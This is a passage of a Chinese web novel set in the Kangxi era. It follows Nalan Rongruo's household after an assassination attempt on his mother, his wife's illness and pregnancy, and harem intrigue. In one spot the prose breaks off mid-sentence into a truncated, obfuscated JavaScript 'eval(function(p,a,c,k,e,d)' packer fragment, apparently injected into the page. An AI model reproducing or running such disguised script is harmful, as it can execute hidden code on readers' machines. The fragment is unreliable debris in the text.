“家中有贵重物品丢失?或是有何处遭了破坏吗?” “已经交待管家金叔领着能干的家丁们细查和细看过了,没有盗窃痕迹,也没有打砸或是设伏的影像,尔谖推测:莫不是刺客真正想下手的对象是阿玛,声东击西做出了针对额娘的假象,以为能够引来阿玛一人好一击必杀,却不料自己反而被阿玛带来的家卫所擒?” “想来阿玛也没做什么天理难容之事,即便有收人钱财的行径,那也是与人各取所需,未危害于天下,”容若摇头,“怎么会平白无故遭人怨恨?” “自古江湖中人受雇办事,刺杀目标是不问缘由的。”卢氏道,“江湖中人只要能让雇主的目标达成,自然是不顾刺杀朝廷命官的后果。” “我想先睡一会儿,尔谖你陪着我,一炷香时间后,再叫醒我。” “是,公子歇着吧,尔谖一直在公子身边。” * 夜晚。 灯火通明的明府内间里,明珠父子正在审讯带着镣铐的刺客。 明珠问:“你为何刺杀本官?” 刺客大笑:“我不杀你,虽然你这个贪赃枉法的佞臣本就该死!不出十年,大清朝的官都会被你卖光!我目标明确,就是来刺杀你的夫人的。” “阿玛您别气了,世事贪垢,悠悠之口难逃。”容若把明珠劝回座椅上,“继续问了他别的要紧事就是。” “本官的夫人秀外慧中、持家有方,如何得罪了你的雇主?” “觉罗氏善妒,因为明珠夸了一句丫鬟的手漂亮,就叫人将丫鬟的手砍断逐出明府,丫鬟气愤而死,其父就是变卖了全部家产,来换得银钱雇了我来取下觉罗氏性命!” “简直是一派胡言!”明珠一拍桌子,“本官日理万机,在家之时,除督促揆叙揆方功课之外,就是与容若商论国家大事,哪里来的时间耗费在丫鬟身上?” “觉罗氏性格嚣张,仗着自己是英亲王阿济格之女,就不把明珠放在眼里,做主一切家事与家计,过问明珠日常无巨细之事,但凡不符合自己心意之人,无不是厉声大骂和严刑以对,简直是毫无良知与人性!” “住口!”明珠指着膝下之人,“本官一生相伴的贤妻岂容你等小人造谣?” “明珠,你要是想杀我就杀吧!”刺客一仰头,“我不怕死!待我死后,你为保全觉罗氏名声而杀人灭口的恶名,就会传遍天下!” “来人,即刻把此等狂徒处死——” 明珠气得咬牙切齿。 管家金叔见长公子也点了头,就立刻吩咐家丁将那个刺客押出内间、执行死令。 容若道:“那人这般出口不逊,是非不分,只听雇主片面言语,就辱骂阿玛辱骂额娘,的确是该死。” 明珠吹了吹热茶的茶汤,饮了一口,却还不解气。 “恨只恨此事你额娘吃了亏,本官却不能惊动官府。要是报官,一传十、十传百,案子真相未出,就张扬出一个‘明珠正妻善妒’的恶名来,本官的颜面还要不要了?” 容若心境通明:“这事的确是只能在明府内部解决,多一个人知道都没好处。” “人言可畏。”明珠沉声道,“一旦官府的人判了刺客死罪、明珠夫人无罪,有人就会说:官府是给明珠开的,明珠家事,黑也能成白。” “是啊,人心就是如此。”容若点头,“平凡人记恨位高权贵之人,失意人嫉妒春风得意之人,哪怕是达官显贵之家本就是事件的受害者,也难以平复人心。” 明珠忽然一笑,自我调侃道:“要是你额娘真的善妒,不许本官身边有女子,那袖云办事得力,她嫁与你当侧室前后,本官没有少夸赞她,她不是早死在‘明珠恶妻’手下几百次了?” “儿但愿此事到此为止,日后额娘的名声不会败坏于野史。” * 次日,管家金叔前来给长公子回话。 “公子,刺客的性命,已经取下了。未留下痕迹,也未被外人瞧见。” “嗯。过后家丁们赏钱,金叔你要双倍发放。”容若又叮嘱,“还有,家里因盗窃被遣走的小丫鬟的行踪,你亲自叫人去跟,要是发现她因此对额娘心怀不满、故意找了人来扮作她的阿爹,让那个阿爹来雇佣刺客行刺额娘,不必多说什么,都了却了那些人的性命就是。” “买刺客行刺毕竟是要花大价钱的事,那个小丫鬟能够迅速赚银子的地方,定是夜夜笙歌的灯红酒绿之所,金叔你叫人从那里开始查。” “是,小的这就去办。” 等管家走后。 卢氏带着对容若的理解,道:“这些善后之事,哪怕是公子不做,阿玛迟早也会做,公子只是在阿玛之前先行动了而已。并非对小丫鬟和她的假阿爹赶尽杀绝。” “有夫人的互通所想,我这颗心就是温的。”容若看着琉璃缸中的小金鱼,“下人有错在先,心思还狠毒,做出雇人行刺之事来,是觉得明珠府邸是个可以随意放肆的地方了吗?” “是。”卢氏赞同道,“那个小丫鬟有这么大的胆子和这么糊涂的脑子,就该预见事成事败的后果,为此自己找死,也是活该。” “只是偏是我不在家的时候,让额娘经历了这么一场惊险,我心里也不好受。”容若声线平缓而轻,“只能是过后再与额娘一同去‘济国寺’坐禅,来稀释往历的一切。” * 这以后,明珠夫人遇刺的消息,终究是没有扩散,也没有传入康熙皇帝和太皇太后孝庄的耳中。 始作俑者小丫鬟被找到以后,死到临头也不肯承认自己的所作所为。 反倒是她那个假阿爹,一一认罪,只求保命。 明府管家哪里会放过眼前的任何一个人?当下的宽纵,等同于将来的恶果,是断断不可种下的。 夜色之下,郊区的无人空地之上。 明府管家一声令下:“执令——” 几个体格壮硕的家丁就手起刀落,结果了那小丫鬟和她的假阿爹的性命,速度之快,甚至连眨眼的功夫都没有留给那二人。 容若得知以后,主动去向明珠回了话。 “儿啊,你正中阿玛的心思。”明珠肯定地一点头,“你说此事善后至此,可还会再节外生枝?” “管家办事,一向老成,不会留下任何蛛丝马迹。”容若只再说了一句,“可是野史好似草原上的野草:一岁一枯荣,春风吹又生。我们纳兰的家事在往后,会被如何说道、如何演绎,终究是不可控的。” “唉——”明珠一叹,“是如此。” 容若转而提醒道:“阿玛需要多些陪伴和宽慰额娘。您的责任,在大清、在朝堂、在家族,也在守护和关心自己的结发妻啊!” 明珠心中愧疚。 家里发生这样的大事之后,因为不可对外人言,自己只能日日跟个“没事的人”一样往返于皇宫和府邸之间。 哪怕是晚上跟觉罗夫人共处,也是怕重提旧事会叫妻子伤怀而忍着不多说话,如今想来,容若说得对,与其这般自以为是和故作姿态,还不如将一份关心和一颗真心捧到妻子面前,好好传达自己的心情。 “阿玛听你的,这就回房去陪着你额娘。” “阿玛您叫小厨房备上一碗四季平安汤,与额娘同饮。饮着热汤,说话更好。” “好,好。” * 容若回到了自己的房间,坐在书桌前面。 才支棱着侧脸闭目养神不久,就听见了脚步声,原是颜氏侧夫人扶了卢氏正夫人进来。 容若起身,见卢氏面容憔悴、浑身无力似病,慌了神,在乎道:“怎么了尔谖?可要叫郎中来看?” 卢氏微笑着摇头:“也不打紧,就是觉得疲累,多休息一会儿就好。” 容若扶了卢氏躺下,道:“好好歇着,我就在那边的书桌坐着,需要我的时候,一定叫我。” “嗯”卢氏感触着夫君的温情,合眼睡下。 容若与袖云一同到房间外,掩上了房间门。 “尔谖是病了?还是累着了?”容若问她,“我也不好拿主意,照你看,应当等尔谖睡醒再观察情况?还是早些叫郎中来府上?” “这么说来,从去年袖云产期至年关,再从长子长女出生至今,卢氏正夫人都是没有歇过的。她的辛劳和她的委屈,不曾对谁提起过;她对公子的好,对老爷和觉罗夫人的孝心,不曾带着半分虚假;她对家事和家计的操持与上心,也是没有半点疏忽的。许是太久未真正停歇过,才会倦累,公子要多体惜着正夫人才是。” “我才刚叫阿玛关心额娘,这会儿就到了自己也对尔谖照顾不周的地步,是该自我反省。” 容若侧倚廊柱,微微垂头,在地上留一个逆光的影子。 “公子放心,正夫人会尽快恢复精神的。若是今夜正夫人无气力用晚膳,袖云再叫人去请郎中来瞧病和抓方子,定会亲手熬药端与正夫人服下。” “我仍旧是觉得不安。”容若带着些懊悔,“我宁愿病的是自己。莫非老天爷今年未让我得三月病,就将疾累转嫁到了尔谖身上?” “公子别怪自己,病来如山倒,病去如抽丝,都是无常的。”袖云劝道,“人非神佛,哪能日日无病息灾?” “我娶尔谖入门至今,两年有余,不曾见她病卧过一次。”容若顺着廊柱滑坐在栏轩上,“等到她真的躺着了、需要我寸步不离地守护的时候,我心中的那股自己对她有所亏欠之情才会喷涌而出,停不下来、停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钮祜禄皇后教导众嫔妃道:“大家都是生活在同一屋檐下的人,理应相互恭让相互照顾,日后再有位分低的侧位不听主位管教之事,只要是说到本宫这里来且查实了,定是桩桩件件都按照宫规作罚不误的。” 众嫔妃道:“臣妾等谨遵皇后娘娘教诲。” * 从坤宁宫出来,惠妃往御花园散步。 远黛道:“娘娘,平日里德嫔是少在皇后娘娘面前开口的,今日她却是把自己宫中的不和之事都和盘托出,可见是跟良答应关系恶劣了。” 惠妃停在一缸碗莲花前,“这会儿良答应还是个新人,德嫔亲自惩戒她,难免会落下‘容不下新人’的口舌,所以她才有求于皇后。” 远黛问:“良答应真的是受罚之后就长记性的吗?” 惠妃对着碗莲花的花瓣一拨,道:“这可不是咱们能管的,德嫔有德嫔处事之道,更何况德嫔背后还有隆科多,日后隆科多也不会饶过良答应的家人。” * 卢氏病累期间,容若亲自照料,未让下人们入房打扰。 他坐在爱妻床侧,亲自捧着一碗汤药,近唇吹凉之后,一口一口地喂爱妻喝下,又挑了一盘好的陈皮丝和无花果丝出来,当作小零嘴给爱妻解药苦,看着爱妻各挑了一些来吃下,才稍稍安心。 “我将窗户打开,让阳光都投进来,好为你我都增添一些生机。”容若握着爱妻的手,“尔谖你定要好好养着,不要记挂别的事情,家里有我。” 卢氏带着歉意:“让公子担心了。” 容若温和道:“我不说些‘你是我的正妻,担心你应当’那样的话,只是一心想着你早些好起来,再与我一同赌书泼茶、雨中观荷、朗日晒书、并行秘境。” “定是如约。”卢氏微笑,“尔谖早已把公子的喜好当作是自己的喜好了,深入其中,乐趣之心和相争之心并存,等到夫妻相视而笑的那一刻,就是记喜不记输,只当自身与公子之间是双赢。” “双赢。”容若重复这两个字,“你我夫妻,是一致的心情、一样的感觉。” “公子万般皆好。”卢氏说出了心里话,“尔谖在想,自己应当为公子诞下子嗣,多尽正妻的责任。” “我答应你,一定让你尽快怀上孩子。”容若温声,“这样一来,孩子们年岁相近,膝下好养,欢喜声也多;日后孩子们一并在家中书楼接受师傅们教学,进度也是不必按照年龄来分的,考查功课却能相并省时,孩子们之间也能互论互学,极好。” 卢氏憧憬着:“往远处想想,到时候尔谖与公子一并见证孩子们的谈婚论嫁、明府再添新人新丁,就真的是热热闹闹的大观园了。” “只盼着到时候孩子们的婚事能够你我做主,而非阿玛站在政治立场上干涉,而非皇上或者太皇太后指定,不然孩子们的脾气倔强起来,不敬长辈、抗旨皇权,你我也是难逃牵连。” “是啊,想得多,远虑就多。”卢氏无奈地半垂眸,“倒不如珍惜当下,先尽好各自的‘纳兰家之人’的责任再说。” 容若带着誓言般的认真神色,道:“尔谖,你重要,你怀上子嗣也重要。你放心,我都不会耽误。你我心愿,一定满愿。” 容若又在爱妻耳边,温柔地诉说了一句:“但是……跟孩子相比,对我而言,更重要的和最重要的是你,尔谖。” 卢氏点头,然后把头埋进了夫君的胸膛。 她相信,自己与容若的愿望,都会双双如愿。 165.第165章 延禧宫。 惠妃坐在灯下养神,桌面上的一鼎安神香正幽幽地吐露气息,不知是人温知了香,还是香回养了人? 回想起玄烨来时—— 他那番像是“看重”《纳兰词集》、又像是“针对”《纳兰词集》的话,惠妃竟无从为容若表兄多言期许,皆因避免玄烨圣心多变,所下之令非容若表兄所愿。 此外,玄烨还提及了一句话:“朕打算在中秋之际,进意妃景茵珠的位分为贵妃,届时惠妃你作为四妃之首,要与贵妃一同左右为皇后分忧,端礼后宫。” 惠妃应道:“臣妾先祝贺佟佳妹妹,定不负皇上期望,与佟佳妹妹一同在后宫相助皇后娘娘,尽妃位责任,尽儿女尽孝太皇太后之心。” 那时玄烨的脸上并无明显表情,而是饮了一口茶,道:“后宫的意义对朕而言,只是一处延续香火之所,并非施恩图爱之地。所以朕宠幸谁、冷落谁,都是朕的主意,无需多猜谁会因此福泽家族、牵连家族。” 惠妃面平声婉,道:“皇上放心,近来皇上虽是去佟佳妹妹那里去的多,但六宫并无不满之言。佟佳妹妹才情出挑,多得圣眷也是应当的。每每向皇后请早礼之际,只要是侍寝过后,佟佳妹妹都是谦逊恭和、礼谢皇后,臣妾等都是看在眼里的。” “太皇太后那边呢?”玄烨问,“对意妃是否满意?” “臣妾不敢准测老祖宗心思,”惠妃明辨道,“只是佟佳妹妹常去慈宁宫给老祖宗问安,将自己亲手制作的心意物品孝敬给老祖宗,可见是个亲和孝顺的人了。” “这就好,有意妃处处谨言慎行、恪守礼矩,也能给同一批进宫的秀女们立个榜样,叫她们也向着意妃看齐,思己以德。”玄烨又问,“朕听皇后说,永和宫里面的侧位良答应不听德嫔管教,自大放肆多时,永和宫难和,当下如何了?” 惠妃回避道:“臣妾知道德嫔妹妹一心想着皇上,性子性情必定是皇上喜欢的。然而良答应入宫的时日还少,难免浮躁,不懂规矩也是有的。还是需要皇后娘娘和德嫔妹妹多多调教才是。” “嗯。”玄烨点头,“朕的后宫,不能再出现目无尊卑的女子了。” 回到当下。 惠妃才发现:自己不知道什么时候在掌心之下压了几张《纳兰词》的词稿。 她嗔笑自己:为何脑海里回忆的是自己跟康熙皇帝相处的时光,心中所思所念的,确实容若表兄呢? 远黛拿了灭烛的长柄铜熄过来,问道:“娘娘,可要熄灯安置了?” “再坐会儿吧!”惠妃摇头,“本宫觉得疲倦不堪,却又睡不着。” 惠妃轻抚着《纳兰词》上的墨痕墨香,道:“本宫倒是不希望表兄的词作被别人多解。” 远黛最懂主子心情,宽慰道:“日后公子还会有更多更好的作品。这个阶段的词集只是公子二十二岁的一段里程碑,皇上要‘恩威并施’也是有的。” 将《纳兰词》收好之后,惠妃走向了摆放针线的地方。 她拿起两件衣物,道: “苌情和富格的半岁诞辰,本宫总想亲自缝制些衣物送去。如今做好了,收了最后的线头,倍感牵缘。亲人之间,贺礼不必讲究奢华与新奇,只要心意和真诚送到,就是最好。” 远黛挪近烛台,道:“娘娘的走线功夫是极好的,待到奴才托人将东西送出宫去,明府上下收到后定是高兴。” * 此时,有太监过来回话。 “惠妃娘娘,今夜皇上本是翻了永和宫德嫔娘娘的牌子,但是德嫔娘娘风寒忽至,小有发热,不宜侍寝。皇上才要离开,竟然有个答应不知好歹,主动向皇上献媚,企图将皇上留在她处。” 惠妃问:“后来呢?” 那位公公道:“凭她一个小小答应,自然是留不住皇上,皇上也没有去其她主儿那里过夜,而是回了养心殿。德嫔娘娘的近身侍女墨心,已经将那个小答应屡屡以下犯上、有悖宫规之事去向皇后娘娘和太皇太后做了禀告。” 惠妃只是心里有数地点了点头,叫那位太监继续往下说。 “根据奴才打听来的消息,皇后娘娘罚了——” 那位公公终于说出了应罚者的名字: “良答应掌嘴二十和禁足消俸半年,太皇太后则是直接叫李福连李公公将良答应带去宗人府侯罪。” “公公辛苦了。”惠妃叫远黛送一袋碎银,“多亏了公公仔细,让本宫心里有底。不然明儿良答应侯罪的事情传出来,谁敢往‘狐媚皇上’的大罪上面去想呢?” “奴才为惠妃娘娘尽心,是应当的。”谢过惠妃,那位太监又道,“惠妃娘娘要是没有别的吩咐,那奴才就先告退了。” “远黛,你送公公出去。” 远黛客气道:“公公先请——” 那位公公回礼道:“姑娘客气。” * 惠妃终于有些睡意上头。 饮了碗美颜汤之后,她留下远黛陪在旁侧说话。 “不管良答应日后造化如何,是否洗心革面本本分分地当一个妃子,唯有一点铁定不会变:那就是,即便是她为皇上诞下了小阿哥,大清国——” “娘娘的意思是?” “大清国也不可能有辛者库出身的皇太后或皇太妃,所以良答应不可能母凭子贵。” 惠妃勾起一丝冷笑。 “良答应今夜可算是彻彻底底把永和宫的宫规和门面败坏殆尽、也水深火热地德嫔得罪透了,自作虐,自作虐啊!德嫔跟隆科多之间的关系非她所知,日后莫说是在后宫,哪怕是在皇上的朝堂上,良答应之子也休想在夺嫡之路上有胜算。” “奴才明白了,娘娘果然远见。” “良答应将来的苦果,是她当下自己栽种的,怨不得别人。所以,将来无论她的儿子如何出色,也会输给德嫔的儿子,不信咱们就一起等着看。” “良答应除了一副胭脂水粉的皮囊,可以说是毫无出彩之处。奴才听说,秀女大选之日,皇上是坐的不耐烦了,只将她的貌入了眼,才草率地选了她。” 惠妃提醒:“你这些口舌之言,在别人面前可说不得。” “是。”远黛明白,“奴才只对娘娘说真话和真心话。” “安置吧,本宫也乏了。” “是,奴才这就为娘娘卸妆梳发。” 惠妃坐在妆镜前,心中对后宫的情形盘算的清楚。 自失后宫生存之道的良答应不算什么。 德嫔乌雅氏,意妃佟佳·景茵珠,皇后钮祜禄氏,谁都不是省油的灯。 ——有暗斗,必分输赢。其中精彩,弈者自得乐趣。 ——而明争,却自进死局,连累子女,良答应便是如此。 * 起居注官严绳孙从康熙皇帝的近身小太监处,一五一十地听闻了昨日的后宫之事后,变得焦虑不安起来。 照理说,事关康熙皇帝日常的《起居注》的内容,康熙皇帝本人是不能看的,但是太皇太后却能够要求过目。 良答应被太皇太后打入宗人府侯罪,这桩史实要是记录在案,怕是康熙皇帝的名声与永和宫的颜面都会遭人诟病。太皇太后要是追究起来,岂是大惩了良答应就能风平浪静的? 正当严绳孙急的满头大汗之际,那个小太监提醒: “严大人,你是个文人,自然把纲常和礼法看得比什么都重。但是太皇太后是个女人、也是大清后宫最大的主人,皇上的言行和与皇上家事相关的点滴,她老人家也是耳清目明的。严大人要是想保全自己,在太皇太后那边好交待,只有一个办法。” 严绳孙忙道:“公公快说,快说——” 那个小太监道:“纳兰公子是最懂万岁爷心思的人,又是被太皇太后当作亲皇孙来疼的人,严大人你唯有求助于他,才能万无一失,明哲保身。” “有理,有理。” 谢过那个小太监,严绳孙就匆匆纳兰家去了。 * 渌水亭边,容若带着些憔悴见客。 他亦如实告诉严绳孙,自己是因为日夜不离爱妻卢氏,不舍卧床沉睡和不愿宽衣解带,才会如此。 严绳孙感动于纳兰性德对卢氏的深情,当即作一首诗相赠: 人言白头事,我见真情人。 倦容形销骨,深眸相思痕。 商略榻前雨,拟共过长庚。 参差今何许?翠帘浅转深。 严绳孙觉得自己不应该耽误纳兰公子过多时间,就决定长话短说。 “其实严某这次来,是为了康熙皇帝的《起居注》该如何记载之事。” 严绳孙把发生在永和宫的一切向纳兰公子说明之后,又道: “原本这事本不应牵扯到康熙皇帝身上,但是良答应所犯下的过错非同小可,连太皇太后都发了声,怕是连我这个起居注官都避重就轻不得。” “严先生的本意,是想如实记载吗?”容若问。 “唉!”严绳孙叹茶道,“严某不想因为后宫不宁而影响君心,又不敢隐瞒不写来回避太皇太后态度,所以来向公子讨教,该如何是好?” “你将太皇太后对良答应做出的处分,用作皇上的本意和皇上的口吻来记载不就好了?” 容若一言惊醒梦中人。 只见严绳孙从石凳上弹跳而起,向眼前人行礼道: “纳兰公子妙言啊!此法果然最佳,既正了皇上的威严,对后宫惩戒有度,又不会叫太皇太后生出异议来,平和了太皇太后的脾气,一箭双雕。” “严先生,在宫中当差,行事维艰,你我体会皆深。” 容若请严绳孙坐下,恳切道: “你身为皇上身边的承值起居注官,原本应当君举必书、书法无隐,记录皇上的当日言行和皇上离宫的外巡、耕藉、视学、谒陵等一切活动,但是不稍作变通不行啊!” “你把一些规矩当了真,更是不成。说是《起居注》的内容皇上本人不得看,但是皇上有无看过、有无找人问过,你又怎会清楚?切莫将手中的一只笔,错写错记了宫闱忌讳的东西,否则日后遭贬、革职,也在可预见之中。” “公子所言,句句肺腑,严某受教了。” “不敢不敢,严先生学识丰富,理应做成德的老师。”容若转而道,“起居注馆附属于翰林院,侍读学士和记注官也就罢了,二者多是为皇上讲经和兼领内事 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“严先生你切记:回去之后,即刻照我说的来把永和宫良答应之事记录在册,校订誊录和署上自己的姓名之后,莫要经过他人之手,你亲自交给掌院大学士阅定和加盖院印,并将正本呈送内阁严密保存,副本不可留在翰林院供日后攥改实录,以绝后患。” “是,是。”严绳孙点头,“严某绝不会让徐乾学的门生有机可趁。” * 送严绳孙离府之后,容若去往沐浴之处。 等到他沐浴出来,有人来传话,说是:“老爷叫公子去房间,有要事相谈。” 见儿子带了一股淡香味进来,除却了日常的汤药味,明珠提醒道:“你与尔谖情深,阿玛和天下人都看在眼里、读在词里。但你也莫要把自己弄得过疲累,该歇觉的时候就躺到床上去好好歇觉。” “多些阿玛关心,尔谖已经见好了很多,儿也能够暂离片刻,腾出空来会客、沐浴和与阿玛商谈正事了。” 明珠忽笑,“阿玛见你也是神清气爽了许多,重新打起了精神来就好。” “阿玛找儿来,要说的是什么事?” “皇上近来对福建的海务与海防之事格外重视,但不知为何只将军机军务秘密传达给索额图去办,而未与我明珠多言一句。” “容儿先问一句,阿玛您觉得索额图能把皇上下令的事情办成吗?” “这得看施琅将军是否配合索额图行事啊!” “这就是关键了。”容若道,“说白了在皇上看来,索额图只是一根绳子罢了,绳子能否系的住施琅将军,才是重头戏。” “皇上之前因为儿的新词《浣溪沙·败叶填溪水已冰》生疑,问出这样一句话来:‘你们父子,可是把积累的决财富用在了购置火器上?’儿就猜到了,这背后定是跟索额图脱不了关系。” “你的意思是:皇上对你我父子的猜忌,源自索额图在背后说的话?” “难道不是吗?”容若反问,“索额图的长子阿尔吉善在福建水师历练,所以索额图得知台岛的情报多不出奇。只是索额图这个人,不把心术用在为国势大局谋利益上,而是处处谋私利、除异己。阿玛您说,施琅将军如何能与索额图井水不犯河水?” “可这样一来,不是正中皇上下怀了吗?”明珠理清楚了前因后果,“皇上说不定就是想趁机——” 父子异口同声:“探明施琅将军是忠于君?还是忠于明珠父子?” 心有灵犀,父子二人复相视一笑。 “阿玛,咱们跟施琅将军是要先停了一段时间的往来才妥当了。期间,不管索额图做出什么事和说出什么话来,都只能叫施琅将军自己去应对,咱们父子插手不得、帮衬不得。” “本官与你想法一致。”明珠刮了刮玉扳指,“照着施琅将军跟纳兰家的交情,想必他能够明白皇上用意和你我父子处境。” * 当晚,乾清宫寝殿内。 康熙皇帝坐在龙床上,精神抖擞,毫无睡意。 顾问行伺候在旁侧,强打着精神,不敢被万岁爷看出一丝困意。 “朕收到隆科多自漠北蒙古发来的捷报,有锡格兰多、墨托阿吉、格林巴勒三支原本想投靠噶尔丹汗的部族,已经归顺于朕和大清了。” “奴才恭喜皇上!” “那三支部落所需的各项物资和安居地域,朕一一细思与核查过后,悉数准奏。暂定由曹寅曹侍卫、图海将军和谋士周培公三人为特使,前往漠北蒙古向那三支部落的首领宣读朕意、明示皇恩。” “皇上英明。有了这三支部族为先例,想必以后效忠于大清的漠北蒙古部族将会越来越多,就跟漠南蒙古一样誓死拥护大清天子。” “漠南蒙古肯服从朝廷,看的不是朕的面子,而是科尔沁出身的太皇太后的面子。这一点,朕心里明白的很。” 顾问行问道:“皇上,佟佳侍卫隆科多为大清立下功劳,不知您对其有何恩赏?” 康熙皇帝并未回答,过早透露圣意,有时候不是好事。 他躺了下去,半闭着眼,简单地说了六个字:“朕困了,安置吧!” 166.第166章 济国寺。 梵音清清,香雾缭绕,明人心境。 莲开朵朵,鱼游净水,去人烦扰。 纳兰容若陪伴额娘觉罗氏一同在禅房内静坐。 禅房空寂:只有方形木桌一座,南北面各置一个厚软的圆形麻布蒲团;只有挂壁轴卷一幅,乃是唐代画家王维的真迹;只有素瓶一只,放置窗台,出自元代名家张闻桡之手。 容若淡拨小香鼎中的纳兰香,平和道:“额娘宽心了便好。世事繁杂,众说纷纭,到底还是需要自己看开些,将一些背运背行的不祥事都随风去,自攒自修功德,佛祖也会保佑着虔诚之人。” 觉罗氏盘着手中念珠,内心笃然。 “自从嫁给明珠,我就没有想过会一世安稳。但是生活在明府之中,相夫教子,打点人情,往来宾客,我却是觉得自己已经获得了另一种意义上的安稳。所以,这人心呐,冲着谁来的都好,过去了的事就让它过去吧!诸业无形,诸火无益,多论无用。” “你阿玛朝务繁忙,处死刺客之后,一些杀生的罪孽还是需要你我母子一同诵经、抄经、听经来消的。” “儿近来亦是思索着多来清净之处素心素己,跟额娘一起,正好。” “容若,礼佛只是求心安,并非能够事事得求,所谓:福虽未至,祸已先消,这八个字才是真言。” “额娘说的是,在无形消去的灾祸才是最难得和最值得庆幸的。福分能得就是幸,得不到也不可多求。” 中午,母子二人在“礼斋殿”静静用素斋的时候,有袖云亲自请见。 因寺庙的规矩,善信们在用素斋时不可言语、不可浪费、不可不自洗餐盘,所以母子二人是照着规矩一一做过、留下随喜乐捐的布施款之后,才到古松树下与袖云相见的。 “袖云恭喜公子恭喜额娘,早晨郎中来给卢氏正夫人开病好后的调理药方时,把脉把出了喜脉!” 容若和觉罗氏相互对视而笑,齐道:“这可是大好事呀!” “明珠大人已经派人快马入宫去告知慈宁宫的老祖宗了。”袖云道,“可喜可贺。” “儿子,咱们母子要早些回去才好。”觉罗氏有意提前结束禅修,“尔谖怀上子嗣,一切吃穿用度都要仔细着来,她身边是少不得你和袖云的。” “是,儿一定尽到夫君之责。” “袖云身子重之时,卢氏姐姐对袖云照顾的无微不至,现在卢氏姐姐为明府添喜,袖云定会用心打点跟卢氏姐姐相关的一切、不让卢氏姐姐有旁的担虑。” “这就好。”觉罗氏拉过容若和颜氏的手,“有你俩在,额娘放心。” * 容若回到家中,第一时间就往卢氏夫人身边去。 轻推开房门,却是看尽一位嬷嬷正带着长子富格和长女苌情陪伴在卢氏身旁。 袖云笑道:“将来富格和苌情叫正夫人额娘,我也是听着一样亲的。” 卢氏叫了嬷嬷把孩子分别抱给容若和袖云,温婉道:“孩子们都长得肖似公子,你我瞧着孩子们健康成长,便是常得喜乐、常得福气。” “公子跟孩子们说说话吧!”卢氏和善道,“说什么都好,尔谖跟袖云妹妹一并听着。” 容若双眸温温,和润道:“富格,苌情,日后你们就有弟弟或是妹妹了,你们都是我的孩子,正夫人和侧夫人一样疼你们。都要好好成长,不忘责任,思成己志。 嬷嬷道:“奴才见公子阖家亲睦,心中不胜喜悦。必定谨记责任,好好照顾富格与苌情,还有将来出生的正夫人腹中的胎儿。” “有劳嬷嬷和众位丫鬟。”卢氏感激道,“日后之事,还请多多照怀。” “奴才阿玛幸得纳兰家恩恤,才在战场上捡回一条性命,奴才今生今世,都决心报答纳兰家。” 嬷嬷和袖云一同带着富格和苌情走出房间之后,容若才正式向卢氏夫人道喜。 容若坐在卢氏身边,郑重地握起她的手,看着她的明眸道: “尔谖,祝贺你,终于要做额娘了。你我成亲两年有余,今日迎来喜讯时刻,我心欢跃不能自止。但愿年年岁岁,你我夫妻长长久久、恩恩爱爱,白头偕老;但愿我们的孩子快乐无忧、家国并重、亲孝双全。” “公子,郎中看过后说,是个男孩。” “若是个男孩,”容若高兴,“那名字便是不能再由得皇上来做主。尔谖,你可为咱们的孩子想过名字了?” “想过,满语叫富尔敦,汉话叫海亮。”卢氏笑着,“公子觉得可好?” “好,好!”容若对爱妻为次子所取的名字感到喜欢,“敦,做弥敦之意,是感情深厚的意思,时风重书札,清净教益敦,这个字选的好。海亮,似海阔,如星亮,美好的期许都在于此。” “尔谖高兴,高兴啊公子……嫁给公子两年多了,终于怀上了公子的孩子。算不算是因累得福?因病得福?” “我在济国寺中为你祈福,一切劳累和病痛,都随风做烟尘,日后我纳兰容若的正妻卢氏,安乐纳祥,无病息灾,四季安然。” 容若揽爱妻在怀,“所以呀尔谖,咱们能有子嗣,不是什么上天垂怜病好的你,而是咱们一起努力的结果,天道是无愧将子嗣赐给你我的。” 容若不忘叮嘱:“尔谖,怀胎期间,你一定要保重身体,来日为纳兰家诞下活泼可爱的新成员。” 卢氏细尝着自己作为妻子和即将为人母的快乐。 容若的胸膛坚实而温暖, * 夜里。 容若坐在露天的庭院中看牵牛织女星。 觉罗氏和袖云一并过来,叫了小丫鬟去拿单衣给儿子披上后,道: “你情致好,家里上下也高兴。额娘和你阿玛听来回话的人说,太皇太后的心情也因为纳兰家的喜事而大好,之前永和宫发生了良答应献媚皇上的丑事,太皇太后可是对良答应不肯轻扰的,宗人府那边已经照着太皇太后的意思来办事了。” “儿听说,自古母妃出身低的皇嗣会比其他兄弟上进。”容若看到与人不同的一面,“日后良答应要是凭借人所不知的本事诞下小阿哥,没准小阿哥会是康熙皇帝众多皇子中——最不安分、也最不甘于平庸的一个,也未可知。” “那良答应之子也只有两条路可走,”觉罗氏道,“第一,是拉帮结派,靠自己经营派阀来达成目的。第二,是他的母亲良答应罪满后,投靠后宫当中最得宠的妃子佟佳·景茵珠,让佟国维站在自己这一边。” “额娘。”袖云神色自若,“若是照着您说的来发展,除非是佟佳·景茵珠膝下无子或是早薨,否则佟国维定是扶持自己女儿的皇嗣,哪里轮得到良答应苦心孤诣?” 觉罗氏道:“我倒是担心将来,良答应为达成目的,会在后宫掀起更大风浪啊!良答应出身低、才学低、位分低,一个几乎一无所有的女子,才会将生死置之度外,不折手段地想在康熙朝写就‘母凭子贵’的神话。” 容若道:“积善之人,必有余福;作恶之人,苍天来收。后宫之中每个妃子的一生都是注定的,并不是自以为多争了几口气,就能改写命运。儿并未拿家世强弱和出身高低看人,而是不喜良答应进宫之后所表现出来的人品罢了。” “良答应再怎么跟德嫔斗、再怎么筹谋将来都好,”觉罗氏心疼侄女纳兰惠儿,“额娘只希望惠妃能够在后宫安稳一生,母子平安。” 说罢那些宫闱之事,觉罗氏对容若说回了家事。 “儿啊,你成家之后有所出,就是对得住纳兰家的列祖列宗。额娘和你阿玛都希望你能够立业,再回皇上身边去报国效力。” “是。儿听阿玛说,三日后曹寅要启程去漠北蒙古、代为宣读皇上对三个归顺部族的恩旨。如此一来,皇上身边就少了个能办事的人,阿玛也是叫儿顶上去的,好一边猜琢皇上的心思、一边立功立业。” 颜氏侧夫人道:“可是,卢氏夫人怀孕正当时,公子要是忙于皇上身边事,对正妻的兼顾就少了。袖云知道卢氏夫人是明大义的女子,定不会为了自己而把公子留在身边,只是怀胎生子是女子人生当中的大事,还是需要公子再做斟酌。” 